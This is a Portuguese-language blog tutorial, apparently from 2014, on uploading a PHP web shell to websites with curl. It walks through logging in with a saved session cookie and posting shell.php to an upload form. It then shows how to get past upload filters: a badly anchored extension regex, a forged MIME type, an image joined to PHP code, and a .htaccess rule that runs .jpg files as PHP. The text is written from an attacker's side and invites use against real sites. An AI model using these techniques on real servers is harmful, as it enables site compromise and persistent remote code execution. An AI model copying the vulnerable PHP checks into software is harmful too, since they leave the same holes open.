sábado, 15 de fevereiro de 2014

Upload de Shell Pelo Terminal

Nesse texto vou escrever um pouco sobre upload de 'shell' ,
usarei o comando curl para efetuar esse upload , pode parecer
dificil , mas é a mesma coisa de upar shell usando um browser
a unica diferença é que você tem que saber quais campos e valores
enviar via post ou get e como manipular os cookies.

Starting

Não é dificil encontrar sites que tem forms de upload
onde usuarios não autenticados podem upar arquivos , mas
na situação hipotetica que trabalharei nesse tutorial , o site
que queremos upar shell, so podermos ter acesso ao form de upload
quando nos autenticarmos atraves da pagina login.php (como na maioria dos sites).
A primeira coisa a se fazer é identificar os nomes dos campos que serão
enviados via post (normalmente) ou via get , você pode identificar
esses campos olhando a source da pagina, ou usando o live http headers.
Com os nomes dos campos em mãos iremos efetuar o primeiro request usando o curl , para obtermos
cookies que serão usados para acessar o local onde podemos upar arquivos.

$ curl -F login=mmxm -F senha=123456 -F enviar=1 --cookie-jar /tmp/cookies.txt -i localhost/login.php
HTTP/1.1 100 Continue

HTTP/1.1 302 Found
Date: Sat, 15 Feb 2014 14:45:58 GMT
Server: Apache/2.2.14 
X-Powered-By: PHP/5.3.2
Set-Cookie: PHPSESSID=h3r5r5i5kn5poobcgkrrn03n61; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: restrito.php
Vary: Accept-Encoding
Content-Length: 259
Content-Type: text/html

<html>
<head><title>Login</title></head>
<body>
<center>
<h1>
Login</h1>
<form action="#" method="post">
USER: <input type="text" name="login" /><br/>
PASS: <input type="password" name="senha" /><br/>
<input type="submit" name="enviar" value="Logar" >
</form>
</center>
</body>
</html>

A pagina nos enviou um cookie , PHPSESSID , esse é o cookie gerado quando usamos
a função session_start() no php , nosso request foi bem sucessido , as credenciais
estão corretas e fomos redirecionados para a pagina restrito.php , podemos ver que o cookie foi salvo
no arquivo /tmp/cookies.txt:

$ cat /tmp/cookies.txt
# Netscape HTTP Cookie File
# http://curl.haxx.se/rfc/cookie_spec.html
# This file was generated by libcurl! Edit at your own risk.

localhost FALSE / FALSE 0 PHPSESSID h3r5r5i5kn5poobcgkrrn03n61
Uploading ...

Você ja logou no site , e ja temos cookies para poder acessar o arquivo responsavel pelo upload,
agora so resta saber qual é o campo do upload (ex:file,upload,arquivo,etc ...) , você pode descobrir isso,
como foi dito anteriormente , vendo a source da pagina ou usando o live http headers.

comando:
$ curl -F img_upload=@shell.php -F categoria=noticias --cookie /tmp/cookies.txt localhost/inserir_imagem.php

Pronto shell upada , claro que se os campos estiverem certos , e não existir nenhum filtro de upload.

Bypass

No exemplo acima eu faço upload da shell em um site em que não existe restrição de arquivos que podem
ser upados , (in)felizmente a grande maioria dos cms de sites hoje em dia conta com algum meio de impedir
que arquivos nocivos possam ser upados.
Uma dessas proteções é checar a extensão do arquivo usando regex , é uma boa ideia ? É sim ,mas só se você saber utilizar
regex direito , porque muitas pessoas não sabem realmente usar regex e um '$' quebra o sistema de segurança , vejam:

if(!preg_match('/.(gif|jpg|png)/', $nomedoarquivo))
 die("Extensão nao permitida");
No codigo acima se o arquivo conter .gif , .jpg ou .png ele irar upar o arquivo , se tivesse colocado um cifrão '$'
desse modo: /.(gif|jpg|png)$/ somente arquivos com esse tipo de extensões poderiam ser upadas , então essa é uma forma
de dar bypass , pelo nome do arquivo (shell.jpg.php , shell.jpg.php.jpg.php).

Outro sistema de 'segurança' usado para upload de arquivos é chegar o tipo de arquivo pelo header ,
isso é muito facil de ser bulado , muitas pessoas usam o tamper data , utilizando o curl tambem podemos alterar o header
do tipo de arquivo da seguinte maneira:

$ curl -F arquivo="@shell.php;type=image/jpeg" localhost/upload-vuln.php
upload-vuln.php:

if($_FILES['arquivo']['type'] == "image/gif" || $_FILES['arquivo']['type'] == "image/jpeg")
 move_uploaded_files ...
else
 die('tipo de arquivo nao permitido');
Alguns cms redimensionam as imagens , ou checam se essas imagens são realmente imagens
usando funções como imagecreatefromjpeg , claro que se não for uma imagem ocorrera um erro
e a shell não será upada , para burlar isso você pode concatenar a imagem com um arquivo php
ou editar os metadados da imagem e por comandos php.

$ cat img.jpg shell.php > shell.jpg.php
A ultima forma de burlar as proteções de upload que irei mostrar é usando um arquivo .htaccess , alguns sites
bloqueam extensões como .php , .php5 , .pl , etc , mas deixam qualquer outro tipo de arquivos serem
upados , essa é sua grande chance , caso o site não renomeie os arquivos upados , você pode upar um
.htaccess que faz a extensão .xxx ser executada como um arquivo php:

<filesmatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>
Feito isso é só upar sua shell com a extensão .jpg que ao ser acessar via browser sera executada como
se fosse um arquivo php


# 1s th3 3nd

Nenhum comentário:

Postar um comentário